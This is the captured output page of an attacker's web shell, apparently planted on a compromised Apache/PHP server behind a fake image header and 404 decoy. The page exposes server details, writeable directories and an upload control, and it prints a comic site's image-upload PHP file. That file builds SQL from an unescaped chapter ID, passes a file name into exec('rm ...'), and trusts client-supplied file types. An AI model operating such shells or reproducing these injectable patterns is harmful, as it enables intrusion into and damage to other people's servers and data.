JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/include/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/truyentranh/include/functions/image_function.php
<?php
function user_avatar($file){
    global $func;
    $link_img = '';
    $errors     = array();
    $maxsize    = 10971520;
    $error_upload = 0;
    $acceptable = array(
        'image/jpeg',
        'image/jpg',
        'image/gif',
        'image/png',
        'image/webp'
    );
    if(($file['size'] >= $maxsize) || ($file["size"] == 0)) {
        $error_upload = 1;
        exit('file upload too big '.$file['size'].'>'.$maxsize.', file must small more than 5Mb');
    }
    if(!in_array($file['type'], $acceptable) && !empty($file["type"])) {
        $error_upload = 1;
        exit('Invalid file type. Only PDF, JPG, GIF ,PNG, webp types are accepted.');
    }
    $ext = $func->get_file_extension($file['name']);
    $arr_ext = array('jpg','png','webp','gif');
    if(!in_array($ext,$arr_ext)){
        $error_upload = 1;
        exit('Invalid file type. Only PDF, JPG, GIF ,PNG, webp types are accepted.');
    }
    if(!$error_upload) {
        $time = time();
        $file_name = $file['name'];
        $folder2 = date('Y',time()).'/'.date('m',time());
        if(!is_dir("upload/user/".$folder2."/")) {
            mkdir("upload/user/".$folder2."/",0755,true);
        }
        $uniqid_file = uniqid();
        $file_name = $time.'-'.$uniqid_file.'-'.str_replace(array($ext,'.'),array('',''),substr($func->format_string($file_name),0,50)).'.'.$ext;
        if(move_uploaded_file($file['tmp_name'], 'upload/user/'.$folder2.'/'.$file_name)){
            smart_resize_image('upload/user/'.$folder2.'/'.$file_name, null, 100 , 100 , false , 'upload/user/'.$folder2.'/'.$file_name , false , false ,100 );
            $link_img = 'upload/user/'.$folder2.'/'.$file_name;
        }else{
            echo 'error upload';
            exit();
        }
    } else {
        $link_img = '';
    }
    unset($file);
    return $link_img;
}
function truyen_thumb($file){
    global $func;
    $link_img = '';
    $errors     = array();
    $maxsize    = 10971520;
    $error_upload = 0;
    $acceptable = array(
        'image/jpeg',
        'image/jpg',
        'image/gif',
        'image/png',
        'image/webp'
    );
    if(($file['size'] >= $maxsize) || ($file["size"] == 0)) {
        print_r($file);
        $error_upload = 1;
        exit('file upload too big '.$file['size'].'>'.$maxsize.', file must small more than 5Mb');
        //$_SESSION['errors']['big_file'] = 'File upload quá hơn, file phải nhỏ hơn 1Mb.';
    }
    if(!in_array($file['type'], $acceptable) && !empty($file["type"])) {
        $error_upload = 1;
        exit('Invalid file type. Only PDF, JPG, GIF ,PNG, webp types are accepted.');
        //$_SESSION['errors']['type_error'] = 'Invalid file type. Only PDF, JPG, GIF ,PNG types are accepted.';
    }

    if(!$error_upload) {
        $time = time();
        $file_name = $file['name'];
        $folder2 = date('Y',time()).'/'.date('m',time());
        if(!is_dir("upload/pages/".$folder2."/")) {
            mkdir("upload/pages/".$folder2."/",0755,true);
        }
        $uniqid_file = uniqid();
        $ext = $func->get_file_extension($file_name);
        $file_name = $time.'-'.$uniqid_file.'-'.str_replace(array($ext,'.'),array('',''),substr($func->format_string($file_name),0,50)).'.'.$ext;
        if(move_uploaded_file($file['tmp_name'], 'upload/pages/'.$folder2.'/'.$file_name)){
            smart_resize_image('upload/pages/'.$folder2.'/'.$file_name, null, 250 , 320 , false , 'upload/pages/'.$folder2.'/'.$file_name , false , false ,100 );
            $link_img = 'upload/pages/'.$folder2.'/'.$file_name;
        }else{
            echo 'error upload';
            exit();
        }
        /*$file_up = '../upload/'.$folder2.'/'.$file_name;
        $client = getClient();
        $service = new Google_Service_Drive($client);
        $file = new Google_Service_Drive_DriveFile();
        $file->setName(md5(uniqid(microtime(),true)) . '.txt');
        $file->setDescription('docs 2 file');
        $file->setMimeType('application/octet-stream');
        $data = file_get_contents($file_up);
        $createdFile = $service->files->create($file, array(
            'data' => $data,
            'mimeType' => 'application/octet-stream',
            'uploadType' => 'multipart'
        ));
        $id_return = $createdFile->id;
        $id_return_encode = bin2hex(str_encode($id_return, 'hoangminh'));
        @unlink($file_up);
        $link_img = 'https://img.vidoe.top/upanh2/poster.php?id='.$id_return_encode;*/


    } else {
        $link_img = '';
        /* foreach($errors as $error) {
             echo '<script>alert("'.$error.'");</script>';
         }
         die(); //Ensure no more processing is done*/
    }
    unset($file);
    return $link_img;
}
function smart_resize_image($file,
                            $string             = null,
                            $width              = 0,
                            $height             = 0,
                            $proportional       = false,
                            $output             = 'file',
                            $delete_original    = true,
                            $use_linux_commands = false,
                            $quality            = 100,
                            $grayscale          = false
) {

    if ( $height <= 0 && $width <= 0 ) return false;
    if ( $file === null && $string === null ) return false;

    # Setting defaults and meta
    $info                         = $file !== null ? getimagesize($file) : getimagesizefromstring($string);
    $image                        = '';
    $final_width                  = 0;
    $final_height                 = 0;
    list($width_old, $height_old) = $info;
    $cropHeight = $cropWidth = 0;

    # Calculating proportionality
    if ($proportional) {
        if      ($width  == 0)  $factor = $height/$height_old;
        elseif  ($height == 0)  $factor = $width/$width_old;
        else                    $factor = min( $width / $width_old, $height / $height_old );

        $final_width  = round( $width_old * $factor );
        $final_height = round( $height_old * $factor );
    }
    else {
        $final_width = ( $width <= 0 ) ? $width_old : $width;
        $final_height = ( $height <= 0 ) ? $height_old : $height;
        $widthX = $width_old / $width;
        $heightX = $height_old / $height;

        $x = min($widthX, $heightX);
        $cropWidth = ($width_old - $width * $x) / 2;
        $cropHeight = ($height_old - $height * $x) / 2;
    }

    # Loading image to memory according to type
    switch ( $info[2] ) {
        case IMAGETYPE_JPEG:  $file !== null ? $image = imagecreatefromjpeg($file) : $image = imagecreatefromstring($string);  break;
        case IMAGETYPE_GIF:   $file !== null ? $image = imagecreatefromgif($file)  : $image = imagecreatefromstring($string);  break;
        case IMAGETYPE_PNG:   $file !== null ? $image = imagecreatefrompng($file)  : $image = imagecreatefromstring($string);  break;
        default: return false;
    }

    # Making the image grayscale, if needed
    if ($grayscale) {
        imagefilter($image, IMG_FILTER_GRAYSCALE);
    }

    # This is the resizing/resampling/transparency-preserving magic
    $image_resized = imagecreatetruecolor( $final_width, $final_height );
    if ( ($info[2] == IMAGETYPE_GIF) || ($info[2] == IMAGETYPE_PNG) ) {
        $transparency = imagecolortransparent($image);
        $palletsize = imagecolorstotal($image);

        if ($transparency >= 0 && $transparency < $palletsize) {
            $transparent_color  = imagecolorsforindex($image, $transparency);
            $transparency       = imagecolorallocate($image_resized, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue']);
            imagefill($image_resized, 0, 0, $transparency);
            imagecolortransparent($image_resized, $transparency);
        }
        elseif ($info[2] == IMAGETYPE_PNG) {
            imagealphablending($image_resized, false);
            $color = imagecolorallocatealpha($image_resized, 0, 0, 0, 127);
            imagefill($image_resized, 0, 0, $color);
            imagesavealpha($image_resized, true);
        }
    }
    imagecopyresampled($image_resized, $image, 0, 0, $cropWidth, $cropHeight, $final_width, $final_height, $width_old - 2 * $cropWidth, $height_old - 2 * $cropHeight);


    # Taking care of original, if needed
    if ( $delete_original ) {
        if ( $use_linux_commands ) exec('rm '.$file);
        else @unlink($file);
    }

    # Preparing a method of providing result
    switch ( strtolower($output) ) {
        case 'browser':
            $mime = image_type_to_mime_type($info[2]);
            header("Content-type: $mime");
            $output = NULL;
            break;
        case 'file':
            $output = $file;
            break;
        case 'return':
            return $image_resized;
            break;
        default:
            break;
    }

    # Writing image according to type to the output destination and image quality
    switch ( $info[2] ) {
        case IMAGETYPE_GIF:   imagegif($image_resized, $output);    break;
        case IMAGETYPE_JPEG:  imagejpeg($image_resized, $output, $quality);   break;
        case IMAGETYPE_PNG:
            $quality = 9 - (int)((0.9*$quality)/10.0);
            imagepng($image_resized, $output, $quality);
            break;
        default: return false;
    }

    return true;
}
function get_op_continent($arr_selected){
    global $arr_continent;
    $txt_op = '';
    foreach($arr_continent as $key=>$val){
        if(in_array($key,$arr_selected)){
            $txt_op .= '<option value="'.$key.'" selected>'.$val.'</option>';
        }else{
            $txt_op .= '<option value="'.$key.'">'.$val.'</option>';
        }
    }
    return $txt_op;
}
function post_ftp($arr_src_file,$truyen_id=0,$chuong_id=0){
    global $arr_ftp;
    // ftp settings
    $ftp_domain = $arr_ftp['ftp_domain'];
    $ftp_hostname = $arr_ftp['ftp_hostname'];
    $ftp_username =  $arr_ftp['ftp_username'];
    $ftp_password =  $arr_ftp['ftp_password'];
    $path_of_storage = $arr_ftp['path_of_storage'];
    $ftp_folder = $arr_ftp['ftp_folder']??'manga';
    $newftpdir = $ftp_folder.'/'.date('Y').'/'.date('m').'/'.$truyen_id.'/'.$chuong_id;
    //$remote_dir = $path_of_storage.'/'.$newftpdir.'/'.basename($src_file);
    //$src_file = $_FILES['srcfile']['name'];
    $arr_link_img = array();
    //upload file
    if(!empty($arr_src_file)){
        // connect ftp
        $ftpcon = ftp_connect($ftp_hostname) or die('Error connecting to ftp server...');
        // ftp login
        $ftplogin = ftp_login($ftpcon, $ftp_username, $ftp_password) or die('Error login '.$ftp_username.' to ftp server...');
        ftp_pasv($ftpcon, true);
        //make dir
        ftp_mksubdirs($ftpcon,$path_of_storage,$newftpdir);
        foreach($arr_src_file as $src_file){
            $remote_dir = $path_of_storage.'/'.$newftpdir.'/'.basename($src_file);
            // ftp upload
            if (@ftp_put($ftpcon, $remote_dir, $src_file, FTP_BINARY)) {
                //echo 'File uploaded successfully to FTP server!';
                $arr_link_img[] = array(
                    'domain'=>$ftp_domain,
                    'url_dir'=>$newftpdir,
                    'file_name'=>basename($src_file),
                    'path_of_storage'=>$path_of_storage
                );
                unlink($src_file);
            }else {
                continue;
            }
        }
        // close ftp stream
        ftp_close($ftpcon);
    }
    return $arr_link_img;
}
function ftp_mksubdirs($ftpcon,$ftpbasedir,$ftpath){
    @ftp_chdir($ftpcon, $ftpbasedir); // /var/www/uploads
    $parts = explode('/',$ftpath); // 2013/06/11/username
    foreach($parts as $part){
        if(!@ftp_chdir($ftpcon, $part)){
            ftp_mkdir($ftpcon, $part);
            ftp_chdir($ftpcon, $part);
            //ftp_chmod($ftpcon, 0777, $part);
        }
    }
}
function ftp_rrmdir($conn_id, $directory){
    $lists = ftp_mlsd($conn_id, $directory);
    unset($lists[0]);
    unset($lists[1]);
    foreach($lists as $list){
        $full = $directory . '/' . $list['name'];
        if($list['type'] == 'dir'){
            ftp_rrmdir($conn_id, $full);
        }else{
            @ftp_delete($conn_id, $full);
        }
    }
    @ftp_rmdir($conn_id, $directory);
    return true;
}
function delete_img_chapter($chuong_id){
    global $DB,$arr_ftp;
    $q_chuong_img = $DB->query("SELECT * FROM tb_chuong_img WHERE chuong_id='$chuong_id' ");
    $ftp_domain = $arr_ftp['ftp_domain'];
    $ftp_hostname = $arr_ftp['ftp_hostname'];
    $ftp_username =  $arr_ftp['ftp_username'];
    $ftp_password =  $arr_ftp['ftp_password'];
    $path_of_storage = $arr_ftp['path_of_storage'];
    $ftpcon = ftp_connect($ftp_hostname) or die('Error connecting to ftp server...');
    $ftplogin = ftp_login($ftpcon, $ftp_username, $ftp_password) or die('Error login '.$ftp_username.' to ftp server...');
    ftp_pasv($ftpcon, true);
    while($r_chuong_img = $DB->fetch_row($q_chuong_img)){
        // Delete all files in the folder image
        $remote_dir = $r_chuong_img['path_of_storage'].'/'.$r_chuong_img['url_dir'];
        ftp_rrmdir($ftpcon, $remote_dir);
    }
    ftp_close($ftpcon);
    $DB->query("DELETE FROM tb_chuong_img WHERE chuong_id='$chuong_id' ");
    return $chuong_id;
}
function get_content_page_chap($url,$referer) {
    $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
    $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    $header[] = "Pragma: "; // browsers keep this blank.
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $header);
    curl_setopt($process, CURLOPT_HEADER, 0);
    curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36');
    //curl_setopt($process, CURLOPT_COOKIEFILE, dirname(__FILE__).'/'.'cookies_youtube.txt');
    //curl_setopt($process, CURLOPT_COOKIEJAR,  dirname(__FILE__).'/'.'cookies_youtube.txt');
    curl_setopt($process, CURLOPT_REFERER, $referer);
    curl_setopt($process, CURLOPT_ENCODING, 'gzip,deflate');
    //curl_setopt($process,CURLOPT_ENCODING , compression);
    curl_setopt($process, CURLOPT_TIMEOUT, 20);
    //if (proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port');
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    //curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
    $return = curl_exec($process);
    curl_close($process);
    return $return;
}
function scanDirAndSubdir($dir, &$out = []) {
    $sun = scandir($dir);
    foreach ($sun as $a => $filename) {
        $way = realpath($dir . DIRECTORY_SEPARATOR . $filename);
        if (!is_dir($way)) {
            $out[] = $way;
        } else if ($filename != "." && $filename != "..") {
            scanDirAndSubdir($way, $out);
            $out[] = $way;
        }
    }
    return $out;
}
function rrmdir($dir) {
    if (is_dir($dir)) {
        $objects = scandir($dir);
        foreach ($objects as $object) {
            if ($object != "." && $object != "..") {
                if (filetype($dir."/".$object) == "dir")
                    rrmdir($dir."/".$object);
                else unlink   ($dir."/".$object);
            }
        }
        reset($objects);
        rmdir($dir);
    }
}
function imageCreateFromAny($filepath) {
    $type = exif_imagetype($filepath); // [] if you don't have exif you could use getImageSize()
    $allowedTypes = array(
        1,  // [] gif
        2,  // [] jpg
        3,  // [] png
        6   // [] bmp
    );
    if (!in_array($type, $allowedTypes)) {
        return false;
    }
    switch ($type) {
        case 1 :
            $im = imageCreateFromGif($filepath);
            break;
        case 2 :
            $im = imageCreateFromJpeg($filepath);
            break;
        case 3 :
            $im = imageCreateFromPng($filepath);
            break;
        case 6 :
            $im = imageCreateFromBmp($filepath);
            break;
    }
    return $im;
}
function jcphp01_generate_webp_image($file, $compression_quality = 80)
{
    // check if file exists
    if (!file_exists($file)) {
        return false;
    }

    // If output file already exists return path
    $output_file = $file . '.webp';
    if (file_exists($output_file)) {
        return $output_file;
    }

    $file_type = strtolower(pathinfo($file, PATHINFO_EXTENSION));

    if (function_exists('imagewebp')) {

        switch ($file_type) {
            case 'jpeg':
            case 'jpg':
                $image = imagecreatefromjpeg($file);
                break;

            case 'png':
                $image = imagecreatefrompng($file);
                imagepalettetotruecolor($image);
                imagealphablending($image, true);
                imagesavealpha($image, true);
                break;

            case 'gif':
                $image = imagecreatefromgif($file);
                break;
            default:
                return false;
        }

        // Save the image
        $result = imagewebp($image, $output_file, $compression_quality);
        if (false === $result) {
            return false;
        }

        // Free up memory
        imagedestroy($image);

        return $output_file;
    } elseif (class_exists('Imagick')) {
        $image = new Imagick();
        $image->readImage($file);

        if ($file_type === 'png') {
            $image->setImageFormat('webp');
            $image->setImageCompressionQuality($compression_quality);
            $image->setOption('webp:lossless', 'true');
        }

        $image->writeImage($output_file);
        return $output_file;
    }

    return false;
}

?>

ZeroDay Forums Mini